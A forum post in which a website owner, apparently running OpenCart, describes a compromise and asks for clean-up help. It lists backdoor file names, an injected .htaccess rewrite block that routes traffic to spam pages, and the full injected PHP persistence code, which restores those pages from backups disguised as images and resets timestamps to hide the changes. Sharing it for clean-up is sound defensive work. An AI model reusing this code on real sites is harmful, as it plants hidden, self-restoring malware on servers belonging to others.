who got through the same experience that i had, please share it here, to clean up the hacked files and how to prevent such issue from happening!
i assume the website was hacked or injected with some codes and loaded with files
under the main directory i saw new folders created:
under these folders there are some weird files i found:
(Remove them)
admin/error_logx.txt
admin/controller/extension/module
Code: Select all
(1): accesson.php > this is a backdoor virus i think.
(2): Return.php > also a virus i think.
other files:
4F49DF2A11.php
opheadar-lGVsyX.php
BAF77541E756.php
linksapis.php
lpinfo.php
readme_YKAVSBV.php
simple.php
statas.php
ulads.php
unlinks.php
error_log.txtsecurity > container (idlogs.txt, index.php, logs.txt, map.txt, moban.html) P.S: the last name"moban in CH language means theme", if you delete it, it keeps creating the same folder with (index.php , moban.html and logs.txt) again and again! you need to remove all files i mentioned in this post.
websiteguide > contains several websiteamap.xml files
htaccss file > contains :
Code: Select all
<IfModule mod_rewrite.c>
Options +FollowSymLinks
RewriteEngine on
RewriteRule ^.*-(\d+)/$ security/index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^.*-r(\d+)/$ security/index\.php?cat=$1&%{QUERY_STRING} [L]
RewriteRule ^.*(website[a-z]+map\.xml)$ websiteguide/$1 [L]
RewriteBase /
</IfModule>Code: Select all
//ck1bg
$nowFileDir = 'security';
$nowHtacFile = './.htaccess';
$nmbf1 = './security/moban.html';
$nowIndexFile = './security/index.php';
$nowLogFile = './security/logs.txt';
$bkLocalFileIndex1 = './images/logo_s.jpg';
$bkLocalFileHtac1 = './images/head_s.jpg';
$bkLocalFileMoban1 = './images/banner_s.jpg';
if($nowHtacFile && file_exists($bkLocalFileHtac1)){
if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowHtacFile,0755);
@file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
@chmod($nowHtacFile,0755);
}
}
if(file_exists($bkLocalFileIndex1)){
if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@chmod($nowIndexFile,0755);
@file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
@chmod($nowIndexFile,0755);
}
}
if(file_exists($bkLocalFileMoban1)){
if(!file_exists($nmbf1)){
if(!is_dir("./$nowFileDir")){
@mkdir("./$nowFileDir",0755);
}
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
@chmod($nmbf1,0755);
}else{
if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
$tpstrMb = file_get_contents($nmbf1);
if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
$fitime = filemtime($bkLocalFileMoban1);
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($bkLocalFileMoban1,$tpstrMb);
@touch($bkLocalFileMoban1, $fitime, $fitime);
}else{
@chmod($bkLocalFileMoban1,0755);
@file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
@chmod($bkLocalFileMoban1,0755);
}
}
}
}
//ck1end
404.shtml
